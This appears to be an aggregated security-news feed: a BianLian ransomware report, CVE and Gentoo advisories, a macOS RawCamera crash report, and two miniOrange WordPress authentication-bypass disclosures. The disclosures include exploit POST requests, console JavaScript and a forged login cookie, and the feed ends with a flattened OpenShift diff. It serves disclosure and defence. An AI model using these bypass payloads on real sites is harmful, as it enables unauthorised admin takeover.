Novel ransomware was created with the Go open source programming language, demonstrating how malware authors increasingly are opting to employ the flexible coding language.

Cybercriminals are swarming to deploy an emerging ransomware variant called BianLian that was written in Go, the Google-created open source programming language.

BianLian has been rising popularity since it was first outed in mid-July, according to researchers at Cyble Research Labs, which published details on their study of the ransomware in a blog post last week. Threat actors so far have cast a wide net with the novel BianLian malware, which counts organizations in media and entertainment; manufacturing; education; healthcare; and banking, financial services, and insurance (BFSI) among its victims so far.

Specifically, the media and entertainment sector has taken the brunt of BianLian attacks, with 25% of victims in this industry so far, and 12.5% each in the professional services, manufacturing, healthcare, energy and utilities, and education sectors, according to Cyble.

Attackers using BianLian typically demand unusually high ransoms, and they utilize a unique encryption style that divides the file content into chunks of 10 bytes to evade detection by antivirus products, the researchers said. "First, it reads 10 bytes from the original file, then encrypts the bytes and writes the encrypted data into the target file," the Cybel researchers wrote in the post.

BianLian's operators also use double-extortion methods, threatening to leak key stolen data — such as financial, client, business, technical, and personal files — online if ransom demands aren't met within 10 days. They maintain an onion leak site for this purpose.

**How the Ransomware Variant Works**

BianLian functions similarly to other ransomware types in that it encrypts files once it infects a targeted system and sends a ransomware note to its victims letting them know how to contact the operators.

Upon execution of the ransomware, BianLian attempts to identify if the file is running in a WINE environment by checking the _wine\_get\_version()_ function via the _GetProcAddress()_ API, the researchers said. Then, the ransomware creates multiple threads using the _CreateThread()_ API function to perform faster file encryption, which also makes reverse engineering the malware more difficult, they said.

The malware then identifies the system drives (from A:\\ to Z:\\) using the _GetDriveTypeW()_ API function and encrypts any files available in the connected drives before dropping its ransomware note, the researchers said.

BianLian also is notable in that uses Go as its foundational language, giving threat actors more flexibility in both developing and deploying the malware, the researchers said. "We have seen many threats developed using the Go language, such as Ransomware, RAT, Stealer, etc.," they wrote.

Go's cross-platform capability enables a single codebase to be compiled into all major operating systems. This makes it easy for threat actors — such as the ones behind BianLian — to make constant changes and add new capabilities to a malware to avoid detection, the researchers said.

Other cyber threats written in the so-called GoLang that have been active in the past year include a botnet called Kraken that recently resurfaced, as well as Blackrota, a heavily obfuscated backdoor.

While increased efforts by international law enforcement to crack down on the actors behind major cybercriminal groups has had some impact on ransomware, new threat operators and ransomware variants have perennially risen to replace now-defunct ones.

Cyble reiterated in its blog post some best practices for ransomware defense: running regular, offline backups; keeping device software updated, ideally using automatic software updates; running anti-malware software on devices; and avoiding opening any suspicious or unknown links and attachments.

New 'BianLian' Ransomware Variant on the Rise

wkhtmlTOpdf 0.12.6 is vulnerable to SSRF which allows an attacker to get initial access into the target's system by injecting iframe tag with initial asset IP address on it's source. This allows the attacker to takeover the whole infrastructure by accessing their internal assets.

**What is it?**

wkhtmltopdf and wkhtmltoimage are open source (LGPLv3) command line tools to render HTML into PDF and various image formats using the Qt WebKit rendering engine. These run entirely "headless" and do not require a display or display service.

There is also a C library, if you're into that kind of thing.

**How do I use it?**

1.  Download a precompiled binary or build from source
2.  Create your HTML document that you want to turn into a PDF (or image)
3.  Run your HTML document through the tool.  
    For example, if I really like the treatment Google has done to their logo today and want to capture it forever as a PDF:
    
    wkhtmltopdf http://google.com google.pdf
    

**Additional options**

That's great, I've always wanted to turn Google's homepage into a PDF, but I want a table of contents as well.

There are plenty of command line options. Check out the auto-generated wkhtmltopdf manual.

**Get Hardcore**

Command line tools are awesome, but I want a C library.

No problem. Check out the library documentation.

**Real world examples?**

Like we said, if you really like Google's homepage today and want to save it as a PDF, you could use wkhtmltopdf for that.

Seriously, you could use it to generate invoices, create birthday cards, or all other sorts of fun things. Just use your imagination!

CVE-2022-35583: wkhtmltopdf

Gentoo Linux Security Advisory 202208-35 - Multiple vulnerabilities have been found in Chromium and its derivatives, the worst of which could result in remote code execution. Versions less than 104.0.5112.101 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202208-35  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: Chromium, Google Chrome, Microsoft Edge: Multiple Vulnerabilities  
     Date: August 21, 2022  
     Bugs: #858104, #859442, #863512, #865501, #864723  
       ID: 202208-35

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been found in Chromium and its  
derivatives, the worst of which could result in remote code execution.

Background  
=========  
Chromium is an open-source browser project that aims to build a safer,  
faster, and more stable way for all users to experience the web.

Google Chrome is one fast, simple, and secure browser for all your  
devices.

Microsoft Edge is a browser that combines a minimal design with  
sophisticated technology to make the web faster, safer, and easier.

Affected packages  
================  
    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  www-client/chromium        < 104.0.5112.101    >= 104.0.5112.101  
  2  www-client/chromium-bin    < 104.0.5112.101    >= 104.0.5112.101  
  3  www-client/google-chrome   < 104.0.5112.101    >= 104.0.5112.101  
  4  www-client/microsoft-edge  < 104.0.1293.63      >= 104.0.1293.63

Description  
==========  
Multiple vulnerabilities have been discovered in Chromium and its  
derivatives. Please review the CVE identifiers referenced below for  
details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All Chromium users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/chromium-104.0.5112.101"

All Chromium binary users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/chromium-bin-104.0.5112.101"

All Google Chrome users should upgrade to tha latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/google-chrome-104.0.5112.101"

All Microsoft Edge users should upgrade to tha latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=www-client/microsoft-edge-104.0.1293.63"

References  
=========  
[ 1 ] CVE-2022-2163  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2163  
[ 2 ] CVE-2022-2294  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2294  
[ 3 ] CVE-2022-2295  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2295  
[ 4 ] CVE-2022-2296  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2296  
[ 5 ] CVE-2022-2477  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2477  
[ 6 ] CVE-2022-2478  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2478  
[ 7 ] CVE-2022-2479  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2479  
[ 8 ] CVE-2022-2480  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2480  
[ 9 ] CVE-2022-2481  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2481  
[ 10 ] CVE-2022-2603  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2603  
[ 11 ] CVE-2022-2604  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2604  
[ 12 ] CVE-2022-2605  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2605  
[ 13 ] CVE-2022-2606  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2606  
[ 14 ] CVE-2022-2607  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2607  
[ 15 ] CVE-2022-2608  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2608  
[ 16 ] CVE-2022-2609  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2609  
[ 17 ] CVE-2022-2610  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2610  
[ 18 ] CVE-2022-2611  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2611  
[ 19 ] CVE-2022-2612  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2612  
[ 20 ] CVE-2022-2613  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2613  
[ 21 ] CVE-2022-2614  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2614  
[ 22 ] CVE-2022-2615  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2615  
[ 23 ] CVE-2022-2616  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2616  
[ 24 ] CVE-2022-2617  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2617  
[ 25 ] CVE-2022-2618  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2618  
[ 26 ] CVE-2022-2619  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2619  
[ 27 ] CVE-2022-2620  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2620  
[ 28 ] CVE-2022-2621  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2621  
[ 29 ] CVE-2022-2622  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2622  
[ 30 ] CVE-2022-2623  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2623  
[ 31 ] CVE-2022-2624  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2624  
[ 32 ] CVE-2022-2852  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2852  
[ 33 ] CVE-2022-2853  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2853  
[ 34 ] CVE-2022-2854  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2854  
[ 35 ] CVE-2022-2855  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2855  
[ 36 ] CVE-2022-2856  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2856  
[ 37 ] CVE-2022-2857  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2857  
[ 38 ] CVE-2022-2858  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2858  
[ 39 ] CVE-2022-2859  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2859  
[ 40 ] CVE-2022-2860  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2860  
[ 41 ] CVE-2022-2861  
      https://nvd.nist.gov/vuln/detail/CVE-2022-2861  
[ 42 ] CVE-2022-33636  
      https://nvd.nist.gov/vuln/detail/CVE-2022-33636  
[ 43 ] CVE-2022-33649  
      https://nvd.nist.gov/vuln/detail/CVE-2022-33649  
[ 44 ] CVE-2022-35796  
      https://nvd.nist.gov/vuln/detail/CVE-2022-35796

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202208-35

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2022 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202208-35

There is an out-of-bounds write vulnerability when decoding a certain flavor of RAW image files on macOS. The vulnerability has been confirmed on macOS 12.3.1. Although the advisory notes an attached poc, Google did not have one attached.

    MacOS: Out-of-bounds write in RawCameraThere is an out-of-bounds write vulnerability when decoding a certain flavor of RAW image files on macOS. The vulnerability has been confirmed on macOS 12.3.1.A zipped proof of concept file is attached. The easiest way to demonstrate the vulnerability is doubleclick the crash.raw file to open it in Preview, after which Preview will crash with the call stack provided below.Process 2146 stopped* thread #4, queue = 'ProviderImageSurfaceCacheQueue', stop reason = EXC_BAD_ACCESS (code=1, address=0x123971000)    frame #0: 0x00007ff91009f0a5 RawCamera`___lldb_unnamed_symbol2861$$RawCamera + 8643RawCamera`___lldb_unnamed_symbol2861$$RawCamera:->  0x7ff91009f0a5 <+8643>: movw   %ax, (%rcx)    0x7ff91009f0a8 <+8646>: movzbl -0x2(%rbx,%r14), %eax    0x7ff91009f0ae <+8652>: movzbl -0x2(%rbx,%r12), %ecx    0x7ff91009f0b4 <+8658>: shlq   $0x8, %raxTarget 0: (Preview) stopped.(lldb) bt* thread #4, queue = 'ProviderImageSurfaceCacheQueue', stop reason = EXC_BAD_ACCESS (code=1, address=0x123971000)  * frame #0: 0x00007ff91009f0a5 RawCamera`___lldb_unnamed_symbol2861$$RawCamera + 8643    frame #1: 0x00007ff9100a0047 RawCamera`___lldb_unnamed_symbol2866$$RawCamera + 563    frame #2: 0x00007ff90ffda53b RawCamera`___lldb_unnamed_symbol441$$RawCamera + 361    frame #3: 0x00007ff91006b69e RawCamera`___lldb_unnamed_symbol2032$$RawCamera + 109    frame #4: 0x00007ff80c733dfd CoreImage`__103-[CIImage(CIImageProvider) _initWithImageProvider:width:height:format:colorSpace:surfaceCache:options:]_block_invoke + 47    frame #5: 0x00007ff80c955f67 CoreImage`invocation function for block in CI::ProviderNode::surfaceForROI(CI::Context const*, CGRect const&) const + 197    frame #6: 0x00007ff80c6f2d80 CoreImage`SurfaceApplyPlaneBlock + 381    frame #7: 0x00007ff80c955e9c CoreImage`invocation function for block in CI::ProviderNode::surfaceForROI(CI::Context const*, CGRect const&) const + 87    frame #8: 0x00007ff80c725e89 CoreImage`invocation function for block in CI::SurfaceCacheEntry::fillAsync() + 114    frame #9: 0x00007ff8032920cc libdispatch.dylib`_dispatch_call_block_and_release + 12    frame #10: 0x00007ff803293317 libdispatch.dylib`_dispatch_client_callout + 8    frame #11: 0x00007ff803299317 libdispatch.dylib`_dispatch_lane_serial_drain + 672    frame #12: 0x00007ff803299e30 libdispatch.dylib`_dispatch_lane_invoke + 417    frame #13: 0x00007ff8032a3eee libdispatch.dylib`_dispatch_workloop_worker_thread + 753    frame #14: 0x00007ff80344afd0 libsystem_pthread.dylib`_pthread_wqthread + 326    frame #15: 0x00007ff803449f57 libsystem_pthread.dylib`start_wqthread + 15This bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2022-07-27.Related CVE Numbers: CVE-2022-32802.Found by: ifratric@google.com

macOS RawCamera Out-Of-Bounds Write

Authentication Bypass vulnerability in miniOrange OAuth 2.0 client for SSO plugin <= 1.11.3 at WordPress.



The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s email address. Depending on whose email address we know, we may even be given an administrator role on the client’s website.

**Let’s check the plugin**

The mo_oauth_login_validate() function includes the following request handling:

    if ( isset( $_REQUEST['option'] ) and strpos( $_REQUEST['option'], 'mooauth' ) !== false ) {
    
    	$user_email = '';
    	if ( array_key_exists( 'email', $_POST ) ) {
    		$user_email = sanitize_email( $_POST['email'] );
    	}
    	
    	if ( $user_email ) {
    		if ( email_exists( $user_email ) ) { // user is a member
    			$user    = get_user_by( 'email', $user_email );
    			$user_id = $user->ID;
    			wp_set_auth_cookie( $user_id, true );
    		} else { // this user is a guest
    			$random_password = wp_generate_password( 10, false );
    			$user_id         = wp_create_user( $user_email, $random_password, $user_email );
    			wp_set_auth_cookie( $user_id, true );
    		}
    	}
    	wp_redirect( home_url() );
    	exit;
    }

We can see from the code that if we specify $_POST['email'], the plugin will log the user in using the wp_set_auth_cookie() function. No verification or authentication. Nothing.

The other problem with the plugin is that if we give an email address in the request that does not exist in the database, it will create a new user, even if registration on the WordPress website is not enabled.

**Let’s see how we can exploit this vulnerability**

We only need to send a POST request to exploit this vulnerability.

The HTTP request to the https://lana.solutions/vdb/miniorange-oauth-client/ which is a test WordPress website:

    POST /vdb/miniorange-oauth-client/ HTTP/1.1
    Host: lana.solutions
    Content-Type: application/x-www-form-urlencoded
    
    option=mooauth&[email protected]

Let’s try it in the easiest way. I created a JavaScript code for the exploit that sends a POST request:

So we can even do this through a browser by opening the client’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-client/, then going to the console and entering the following code:

    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://lana.solutions/vdb/miniorange-oauth-client/', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onload = function() {
    	window.location.href = 'https://lana.solutions/vdb/miniorange-oauth-client/wp-admin/';
    }
    xhr.send('option=mooauth&[email protected]');

After successful login, the script will redirect us to the WordPress admin.

**The exploit script**

I created a Python script that returns the WordPress logged\_in cookie:

Source: miniorange\_oauth\_client\_plugin\_vdb\_get\_exploit\_cookie.py

How to use:

    python3 miniorange_oauth_client_plugin_vdb_get_exploit_cookie.py --client_url="https://lana.solutions/vdb/miniorange-oauth-client/" --email="[email protected]"

Run the above command in the Linux terminal.

We get something like this:

    wordpress_logged_in_7c51fdb9c753be4972c4c2d647b5ded1=test%7C1656911674%7C2PsqjZ8FHWAqXOhJFcIU7yQPaQFOwVIpOfdZmQEyavx%7C940bbe2d2e3736724984b401f8f829811e541ffe3eb948f407aeeaae11f423f6

Then all we have to do is use a cookie, such as JavaScript, in the browser console in the client’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-client/

    document.cookie="wordpress_logged_in_7c51fdb9c753be4972c4c2d647b5ded1=test%7C1656911674%7C2PsqjZ8FHWAqXOhJFcIU7yQPaQFOwVIpOfdZmQEyavx%7C940bbe2d2e3736724984b401f8f829811e541ffe3eb948f407aeeaae11f423f6"; location.reload();

**The professional exploit script**

I also created a Python script with Selenium that exploits the vulnerability and automatically opens the webpage in Google Chrome:

Source: miniorange\_oauth\_client\_plugin\_vdb\_exploit\_with\_selenium.py

How to use:

    python3 miniorange_oauth_client_plugin_vdb_exploit_with_selenium.py --client_url="https://lana.solutions/vdb/miniorange-oauth-client/" --email="[email protected]"

Run the above command in the Linux (desktop version) terminal.

**Try it**

Feel free to try and use the lana.solutions/vdb WordPress websites for testing. I have set the roles and capabilities, so you can only get low level access to the website.

Client: https://lana.solutions/vdb/miniorange-oauth-client/

Server: https://lana.solutions/vdb/miniorange-oauth-server/

**Additional tests**

I created a Postman request for exploit: Postman Web – MiniOrange Auth Request

Can be used by anyone after fork. The required variables are stored in the collection.

CVE-2022-34858: OAuth 2.0 client for SSO by miniOrange WordPress plugin Authentication Bypass

Authentication Bypass vulnerability in miniOrange WP OAuth Server plugin <= 3.0.4 at WordPress.



The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s username. Depending on whose username we know, which can be easily queried because it is usually public data, we may even be given an administrator role on the client’s website.

**Let’s check the plugin**

The _mo_get_logged_user_from_auth_cookie() function get logged in user with the following code:

    $auth_cookie = wp_parse_auth_cookie( '', 'logged_in' );
    
    if ( ! $auth_cookie || is_wp_error( $auth_cookie ) || ! $auth_cookie['token'] || ! $auth_cookie['username'] ) {
    	return false;
    }}

We can see from the code that it uses the wp_parse_auth_cookie() function. Which is a completely faulty use in this case, as it does not use authentication. Description of the function:

> Authentication cookie components. None of the components should be assumed to be valid as they come directly from a client-provided cookie value.

It is clearly described that the returned value is not validated. But the plugin doesn’t use any validation.

**Let’s see how we can exploit this vulnerability**

All we have to do is set a logged in cookie that contains the username. The other values can be anything, as there is no validation in the plugin.

The default logged in cookie name is:

    define( 'LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH );

where the hash is:

    define( 'COOKIEHASH', md5( $siteurl ) );

So in the https://lana.solutions/vdb/miniorange-oauth-server which is a test WordPress website:

57a442d3cd2a47583304a69461f75869, which is the result of the following function:

    echo md5('https://lana.solutions/vdb/miniorange-oauth-server');

If we set the following cookie, we can authenticate ourselves as a test user on the OAuth server:

    wordpress_logged_in_57a442d3cd2a47583304a69461f75869=test%7Canything%7Canything%7Canything;

Let’s try it in the easiest way. I created a JavaScript code for the exploit that set the logged in cookie.

So we can even do this through a browser by opening the server’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-server/, then going to the console and entering the following code:

    document.cookie="wordpress_logged_in_57a442d3cd2a47583304a69461f75869=test%7Canything%7Canything%7Canything";

Then open the client’s website, which in our case is https://lana.solutions/vdb/miniorange-oauth-client/wp-admin and log in using the Single Sign On button.

**The professional exploit script**

I created a Python script with Selenium that exploits the vulnerability and automatically opens the webpage in Google Chrome:

Source: miniorange\_oauth\_server\_plugin\_vdb\_exploit\_with\_selenium.py

How to use:

    python3 miniorange_oauth_server_plugin_vdb_exploit_with_selenium.py --client_url="https://lana.solutions/vdb/miniorange-oauth-client/" --server_url="https://lana.solutions/vdb/miniorange-oauth-server/" --username="test"

Run the above command in the Linux (desktop version) terminal.

How the exploit works step by step:

*   Opens OAuth server website
*   Sets the logged in cookie with the “test” username
*   Opens OAuth client website
*   Click Single Sign On button (so it starts OAuth authentication)

**Try it**

Feel free to try and use the lana.solutions/vdb WordPress websites for testing. I have set the roles and capabilities, so you can only get low level access to the website.

Client: https://lana.solutions/vdb/miniorange-oauth-client/

Server: https://lana.solutions/vdb/miniorange-oauth-server/

CVE-2022-34149: WP OAuth Server (Login with WordPress) by miniOrange WordPress plugin Authentication Bypass

A flaw was found in cluster-ingress-operator. A change to how the router-default service allows only certain IP source ranges could allow an attacker to access resources that would otherwise be restricted to specified IP ranges. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability..

@@ -4,11 +4,7 @@ import ( "context" "fmt"  
"github.com/google/go-cmp/cmp" "github.com/google/go-cmp/cmp/cmpopts"  
operatorv1 "github.com/openshift/api/operator/v1"  
"github.com/openshift/cluster-ingress-operator/pkg/manifests" "github.com/openshift/cluster-ingress-operator/pkg/operator/controller" oputil "github.com/openshift/cluster-ingress-operator/pkg/util" @@ -20,8 +16,6 @@ import (  
"k8s.io/apimachinery/pkg/api/errors" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"  
crclient "sigs.k8s.io/controller-runtime/pkg/client" )  
const ( @@ -92,7 +86,7 @@ const ( )  
var ( // InternalLBAnnotations maps platform to the annotation name and value // internalLBAnnotations maps platform to the annotation name and value // that tell the cloud provider that is associated with the platform // that the load balancer is internal. // @@ -124,16 +118,6 @@ var ( iksLBScopeAnnotation: iksLBScopePrivate, }, } // externalLBAnnotations maps platform to the annotation name and value // that tell the cloud provider that is associated with the platform // that the load balancer is external. This is the default for most // platforms; only platforms for which it is not the default need // entries in this map. externalLBAnnotations = map\[configv1.PlatformType\]map\[string\]string{ configv1.IBMCloudPlatformType: { iksLBScopeAnnotation: iksLBScopePublic, }, } )  
// ensureLoadBalancerService creates an LB service if one is desired but absent. @@ -157,46 +141,16 @@ func (r \*reconciler) ensureLoadBalancerService(ci \*operatorv1.IngressController, if err != nil { return false, nil, err }  
switch { case !wantLBS && !haveLBS: return false, nil, nil case !wantLBS && haveLBS: if deletedFinalizer, err := r.deleteLoadBalancerServiceFinalizer(currentLBService); err != nil { return true, currentLBService, fmt.Errorf("failed to remove finalizer from load balancer service: %v", err) } else if deletedFinalizer { haveLBS, currentLBService, err = r.currentLoadBalancerService(ci) if err != nil { return haveLBS, currentLBService, err } } if err := r.deleteLoadBalancerService(currentLBService, &crclient.DeleteOptions{}); err != nil { return true, currentLBService, err } return false, nil, nil case wantLBS && !haveLBS: if err := r.createLoadBalancerService(desiredLBService); err != nil { return false, nil, err } return r.currentLoadBalancerService(ci) case wantLBS && haveLBS: if deletedFinalizer, err := r.deleteLoadBalancerServiceFinalizer(currentLBService); err != nil { return true, currentLBService, fmt.Errorf("failed to remove finalizer from load balancer service: %v", err) } else if deletedFinalizer { haveLBS, currentLBService, err = r.currentLoadBalancerService(ci) if err != nil { return haveLBS, currentLBService, err } } if updated, err := r.updateLoadBalancerService(currentLBService, desiredLBService, platform); err != nil { return true, currentLBService, fmt.Errorf("failed to update load balancer service: %v", err) } else if updated { log.Info("updated load balancer service", "namespace", desiredLBService.Namespace, "name", desiredLBService.Name) return r.currentLoadBalancerService(ci) if wantLBS && !haveLBS { if err := r.client.Create(context.TODO(), desiredLBService); err != nil { return false, nil, fmt.Errorf("failed to create load balancer service %s/%s: %v", desiredLBService.Namespace, desiredLBService.Name, err) } log.Info("created load balancer service", "namespace", desiredLBService.Namespace, "name", desiredLBService.Name) return true, desiredLBService, nil }  
return true, currentLBService, nil // return haveLBS instead of forcing true here since // there is no guarantee that currentLBService != nil return haveLBS, currentLBService, nil }  
// desiredLoadBalancerService returns the desired LB service for a @@ -238,11 +192,6 @@ func desiredLoadBalancerService(ci \*operatorv1.IngressController, deploymentRef for name, value := range annotation { service.Annotations\[name\] = value } } else { annotation := externalLBAnnotations\[platform.Type\] for name, value := range annotation { service.Annotations\[name\] = value } } switch platform.Type { case configv1.AWSPlatformType: @@ -258,12 +207,17 @@ func desiredLoadBalancerService(ci \*operatorv1.IngressController, deploymentRef service.Annotations\[awsLBHealthCheckTimeoutAnnotation\] = awsLBHealthCheckTimeoutDefault service.Annotations\[awsLBHealthCheckUnhealthyThresholdAnnotation\] = awsLBHealthCheckUnhealthyThresholdDefault service.Annotations\[awsLBHealthCheckHealthyThresholdAnnotation\] = awsLBHealthCheckHealthyThresholdDefault case configv1.IBMCloudPlatformType: if !isInternal { service.Annotations\[iksLBScopeAnnotation\] = iksLBScopePublic } } // Azure load balancers are not customizable and are set to (2 fail @ 5s interval, 2 healthy) // GCP load balancers are not customizable and are set to (3 fail @ 8s interval, 1 healthy) }  
service.SetOwnerReferences(\[\]metav1.OwnerReference{deploymentRef}) service.Finalizers = \[\]string{manifests.LoadBalancerServiceFinalizer} return true, service, nil }  
@@ -280,168 +234,11 @@ func (r \*reconciler) currentLoadBalancerService(ci \*operatorv1.IngressController return true, service, nil }  
// createLoadBalancerService creates a load balancer service. func (r \*reconciler) createLoadBalancerService(service \*corev1.Service) error { if err := r.client.Create(context.TODO(), service); err != nil { return fmt.Errorf("failed to create load balancer service %s/%s: %v", service.Namespace, service.Name, err) } log.Info("created load balancer service", "namespace", service.Namespace, "name", service.Name) return nil }  
// deleteLoadBalancerService deletes a load balancer service. func (r \*reconciler) deleteLoadBalancerService(service \*corev1.Service, options \*crclient.DeleteOptions) error { if err := r.client.Delete(context.TODO(), service, options); err != nil { if errors.IsNotFound(err) { return nil } return fmt.Errorf("failed to delete load balancer service %s/%s: %v", service.Namespace, service.Name, err) } log.Info("deleted load balancer service", "namespace", service.Namespace, "name", service.Name) return nil }  
// updateLoadBalancerService updates a load balancer service. Returns a Boolean // indicating whether the service was updated, and an error value. func (r \*reconciler) updateLoadBalancerService(current, desired \*corev1.Service, platform \*configv1.PlatformStatus) (bool, error) { changed, updated, needRecreate := loadBalancerServiceChanged(current, desired, platform) if !changed { return false, nil }  
if needRecreate { log.Info("load balancer scope changed, which requires deleting and recreating the load balancer", "namespace", updated.Namespace, "name", updated.Name, "platform", platform.Type) foreground := metav1.DeletePropagationForeground deleteOptions := crclient.DeleteOptions{PropagationPolicy: &foreground} if err := r.deleteLoadBalancerService(current, &deleteOptions); err != nil { return false, err } if err := r.createLoadBalancerService(updated); err != nil { return false, err } return true, nil }  
if err := r.client.Update(context.TODO(), updated); err != nil { return false, err } return true, nil }  
// loadBalancerServiceScopeChanged checks if the load balancer scope changed. func loadBalancerServiceScopeChanged(current, expected \*corev1.Service, platform \*configv1.PlatformStatus) bool { currentAnnotations := current.Annotations if currentAnnotations == nil { currentAnnotations = map\[string\]string{} } expectedAnnotations := expected.Annotations if expectedAnnotations == nil { expectedAnnotations = map\[string\]string{} } for name := range InternalLBAnnotations\[platform.Type\] { if currentAnnotations\[name\] != expectedAnnotations\[name\] { return true } } return false }  
// loadBalancerServiceChanged checks if the current load balancer service spec // matches the expected spec and if not returns an updated one. func loadBalancerServiceChanged(current, expected \*corev1.Service, platform \*configv1.PlatformStatus) (bool, \*corev1.Service, bool) { scopeChanged := loadBalancerServiceScopeChanged(current, expected, platform)  
serviceCmpOpts := \[\]cmp.Option{ // Ignore fields that the API, other controllers, or user may // have modified. cmpopts.IgnoreFields(corev1.ServicePort{}, "NodePort"), cmpopts.IgnoreFields(corev1.ServiceSpec{}, "ClusterIP", "ExternalIPs", "HealthCheckNodePort"), cmp.Comparer(cmpServiceAffinity), cmpopts.EquateEmpty(), } if !scopeChanged && cmp.Equal(current.Spec, expected.Spec, serviceCmpOpts...) { return false, nil, false }  
updated := current.DeepCopy() if updated.Annotations == nil { updated.Annotations = map\[string\]string{} } for name := range InternalLBAnnotations\[platform.Type\] { if v, ok := expected.Annotations\[name\]; ok { updated.Annotations\[name\] = v } else { delete(updated.Annotations, name) } }  
updated.Spec = expected.Spec  
// Preserve fields that the API, other controllers, or user may have // modified. updated.Spec.ClusterIP = current.Spec.ClusterIP updated.Spec.ExternalIPs = current.Spec.ExternalIPs updated.Spec.HealthCheckNodePort = current.Spec.HealthCheckNodePort for i, updatedPort := range updated.Spec.Ports { for \_, currentPort := range current.Spec.Ports { if currentPort.Name == updatedPort.Name { updated.Spec.Ports\[i\].NodePort = currentPort.NodePort } } }  
// When switching between internal scope and external scope, it may be // necessary to delete and recreate the service, depending on the cloud // provider implementation: // // \* Azure and GCE can handle changing scope, so updating the annotation // on the service suffices. // // \* AWS cannot handle changing scope, so the service needs to be // recreated. // // \* IBM Cloud may or may not handle scope change, so recreate the // service to be safe. needsRecreate := false if scopeChanged { switch platform.Type { case configv1.AWSPlatformType, configv1.IBMCloudPlatformType: needsRecreate = true } }  
return true, updated, needsRecreate }  
// deleteLoadBalancerServiceFinalizer removes the // "ingress.openshift.io/operator" finalizer from the provided load balancer // service. This finalizer used to be needed for helping with DNS cleanup, but // that's no longer necessary. We just need to clear the finalizer which might // exist on existing resources. // // TODO: Delete this method and all calls to it after 4.7. func (r \*reconciler) deleteLoadBalancerServiceFinalizer(service \*corev1.Service) (bool, error) { if !slice.ContainsString(service.Finalizers, manifests.LoadBalancerServiceFinalizer) { return false, nil }  
// Mutate a copy to avoid assuming we know where the current one came from // (i.e. it could have been from a cache). updated := service.DeepCopy() updated.Finalizers = slice.RemoveString(updated.Finalizers, manifests.LoadBalancerServiceFinalizer) if err := r.client.Update(context.TODO(), updated); err != nil { return false, fmt.Errorf("failed to remove finalizer from service %s/%s: %v", service.Namespace, service.Name, err) }  
